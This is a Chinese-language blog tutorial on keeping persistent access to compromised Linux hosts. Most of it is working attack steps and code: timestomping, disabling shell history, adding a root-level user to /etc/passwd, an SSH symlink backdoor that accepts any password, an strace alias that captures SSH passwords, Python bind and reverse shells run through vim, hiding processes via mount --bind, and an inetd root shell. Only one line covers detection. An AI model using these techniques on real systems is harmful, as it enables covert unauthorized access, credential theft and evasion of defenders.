linux权限维持

有目标就不怕路远。年轻人.无论你现在身在何方.重要的是你将要向何处去。只有明确的目标才能助你成功。没有目标的航船.任何方向的风对他来说都是逆风。因此,再遥远的旅程,只要有目标.就不怕路远。没有目标,哪来的劲头?一车尔尼雷夫斯基

导读:本篇文章讲解 linux权限维持,希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com,来源:原文

修改文件/终端属性

文件创建时间

如果蓝队根据文件修改时间来判断文件是否为后门,解决方法:使用 touch

touch命令有两个功能:一是创建新的空文件,二是改变已有文件的时间戳属性。

在这里插入图片描述

文件锁定

在Linux中,使用 chattr 命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

sudo chattr +i 1.php	# 锁定文件
rm -fr 1.php					# 不能删除
lsattr 1.php					# 查看文件属性
sudo chattr -i 1.php	# 解锁文件

在这里插入图片描述

历史操作命令

在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?
技巧一:只针对你的工作关闭历史记录

[space]set +o history 	# 备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。

要重新开启历史功能,执行下面的命令:

[Space]set -o history 	# 将环境恢复原状

在这里插入图片描述

技巧二:从历史记录中删除指定的命令
在这里插入图片描述

passwd增加用户

背景知识

在这里插入图片描述

实操-增加超级用户

  1. 生成密码passwd的盐值:perl -le 'print crypt("passwd","salt")'
  2. 复制下来root用户的passwd信息,得知新用户asuka的passwd信息:

echo "asuka:sadtCr0CILzv2:0:0:/root:/bin/bash" >> /etc/passwd

  1. 尝试切换用户为asuka,身份是root

在这里插入图片描述

  1. 尝试以asuka的身份ssh连接靶机

在这里插入图片描述

SSH后门

SSH 软连接后门

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 检测uid 为 0 即可认证成功,这样就导致了可以使用任意密码登录。

说明:建立软连接到/usr/local/su 文件,也可以在其他目录,su文件名字不能变,变了就无法登录。当然可以通过其他设置,更改su名字也是可以的。然后启动,并指定监听12345端口,登录的时候密码随意即可

  1. 通过软连接建立一个ssh后门:ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
  2. ssh连接:ssh kali@192.168.40.129 -p12345

在这里插入图片描述

SSH 公钥免密码登陆

这个是老生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的shell,如struts写入公钥,oracle写入公钥连接,Redis未授权访问等情景。

  1. 生成公钥: ssh-keygen -t rsa

在这里插入图片描述

  1. 将id_rsa.pub内容放到目标.ssh/authorized_keys里:cat id_rsa.pub > authorized_keys
  2. 获取id_rsa文件

在这里插入图片描述

  1. 设置权限:

注意,因为Ubuntu是以web2用户身份创建的SSH公钥,因此kali只有以web2用户的身份连接它才不需要密码。

chmod 600 id_rsa
ssh -i id_rsa web2@192.168.40.146

在这里插入图片描述

SSH Keylogger记录密码

当前系统如果存在strace的话,它可以跟踪任何进程的系统调用和数据,可以利用 strace 系统调试工具获取 ssh 的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。倘若当前系统不存在alias,那么就会影响其正常使用。

  1. 在当前用户的 .bashrc 里新建一条alias,这样可以抓取他登陆其他机器的 ssh 密码。
vim .bashrc
alias ssh='strace -o /tmp/.sshpwd-`date '+%Y-%m-%d'`.log -e read,write,connect -s2048 ssh' 
source .bashrc		# 重新执行刚修改的初始化文件

在这里插入图片描述

  1. Ubuntu登录别的设备

在这里插入图片描述

  1. 查收战果:grep -A 9 'password' .sshpwd-2022-01-24.log

在这里插入图片描述

在这里插入图片描述

Ubuntu利用Cron机制安装后门

Cron是ubuntu下默认启动的用户执行计划。它会按照设置,在固定的周期或者按照一定时间执行某一个任务。它是一项服务,你可以使用基本的服务查看状态命令等查看信息。
操作参见:Linux学习之Ubuntu利用Cron机制安装后门

vim python 扩展后门

适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。

  1. 在目标设备上创建恶意py文件

恶意脚本 dir.py 的内容可以是任何功能的后门,比如监听本地的11端口。建议使用正向后门。
正向后门:

# from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time

if __name__ == "__main__":
    server = socket(AF_INET, SOCK_STREAM)
    server.bind(('0.0.0.0', 11))
    server.listen(5)
    print('waiting for connect')
    talk, addr = server.accept()
    print('connect from', addr)
    proc = subprocess.Popen(["/bin/sh", "-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)

反向后门:

import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.241.128", 6666))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
  1. 运行后门

有下面两种方式,第二种比较绝,实验效果不好,还是用第一种吧

(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2
(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

在这里插入图片描述

  1. kali连接目标

在这里插入图片描述

  1. 隐藏进程

11端口运行个vim太引人注目了,需要隐藏。mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。

mkdir null
mount --bind null /proc/3052
netstat -antplu | grep 11

在这里插入图片描述

inetd服务后门

inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。

  1. 安装inetd:apt install openbsd-inetd

在这里插入图片描述

  1. 修改inetd默认端口
vim /etc/services
woot 6666/tcp		# 随便起个名字和端口

在这里插入图片描述

  1. 修改 inetd 配置文件
vim /etc/inetd.conf
woot stream tcp nowait root /bin/bash bash -i

在这里插入图片描述

  1. 确认端口开启

在这里插入图片描述

  1. kali连接目标

在这里插入图片描述

协议后门

在一些访问控制做的比较严格的环境中,由内到外的TCP流量会被阻断掉。但是对于UDP(DNS、ICMP)
相关流量通常不会拦截。

ICMP

主要原理就是利用ICMP中可控的data字段进行数据传输,具体原理请参考: https://zhuanlan.zhihu.com/p/41154036
开源工具:ICMP后门项目地址:https://github.com/andreafabrizi/prism

DNS

在大多数的网络里环境中IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。主要原理就是将后门载荷
隐藏在拥有PTR记录和A记录的DNS域中(也可以利用AAAA记录和IPv6地址传输后门),具体请参考:
通过DNS传输后门来绕过杀软
开源工具:DNS后门项目地址:https://github.com/DamonMohammadbagher/NativePayload_DNS

协议后门检测

对于DNS/ICMP这种协议后门,直接查看网络连接即可,因为在使用过程中会产生大量的网络连接。
清除:kill进程、删除文件即可

PAM后门

参见:LINUX留后门–教程(六)—— PAM后门

参考

Linux学习之Ubuntu利用Cron机制安装后门
python正向连接后门
LINUX留后门–教程(六)—— PAM后门
[总结]Linux权限维持

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134255.html

(0)
飞熊的头像飞熊bm

相关推荐

发表回复

登录后才能评论
极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!